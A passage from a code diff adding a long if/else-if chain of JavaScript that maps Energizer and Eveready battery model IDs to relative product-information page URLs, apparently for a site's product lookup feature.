+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335nnci"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-3501wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350nnci"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-361"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-361i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="a522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+
+ else if(IDText.value=="510s"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1209"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1212"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1215"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1222"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1235"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1250"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="206"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="246"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="266"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="276"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="411"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="412"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="413"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="415"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="416"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="455"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="467"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="489"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="493"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="497"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="504"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="505"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="711"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="732"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="763"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev190"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev115"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev122"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev131"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev135"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev150"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="hs14196"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="2l76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+ else if(IDText.value=="el1cr2"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+ else if(IDText.value=="crv3"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el2cr5"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el123ap"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el223ap"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l544"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1025"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1216"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1220"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1225"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1616"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1620"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1632"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2012"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2016"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2025"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2032"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2430"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2450"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+ else if(IDText.value=="186"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="189"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="191"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="192"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="193"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a23"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a27"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a544"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="e11a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="e625g"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="303"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="309"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="315"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="317"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="319"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="321"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="329"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+ else if(IDText.value=="333"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+ else if(IDText.value=="335"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="337"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="339"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="341"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="344"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="346"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="357"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="361"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="362"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="364"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="365"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="366"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="370"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="371"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="373"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="376"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="377"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="379"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="381"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="384"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="386"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="387s"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="389"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="390"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="391"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="392"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="393"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="394"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="395"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="396"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="397"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="399"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="epx76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac5"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac10/230"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+ else if(IDText.value=="ac10"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+ else if(IDText.value=="ac13"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac146x"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac675"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm24"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm4aa"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chsm"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm4fc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="cxl1000"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+ else if(IDText.value=="nh12"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+ else if(IDText.value=="nh15"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+ else if(IDText.value=="nh22"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+ else if(IDText.value=="nh35"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+ else if(IDText.value=="nh50"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="ccm5060"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="ccm5260"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm1060h"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm1360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm2560"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm6136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cv3010"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="cv3012"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="cv3112"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc510"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc5160"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc520"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc525"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc530"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc545"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc560"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc570"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc580"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc590"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc600"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc610"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc620"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc630"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc640"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc650"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc660"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc670"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc680"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc700"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp2360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp3036"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="cp3136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp3336"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5648"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5748"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8049"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8648"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="cpv5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp5036"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp7160"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw120"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw210"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw220"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw230"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw240"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw305"){
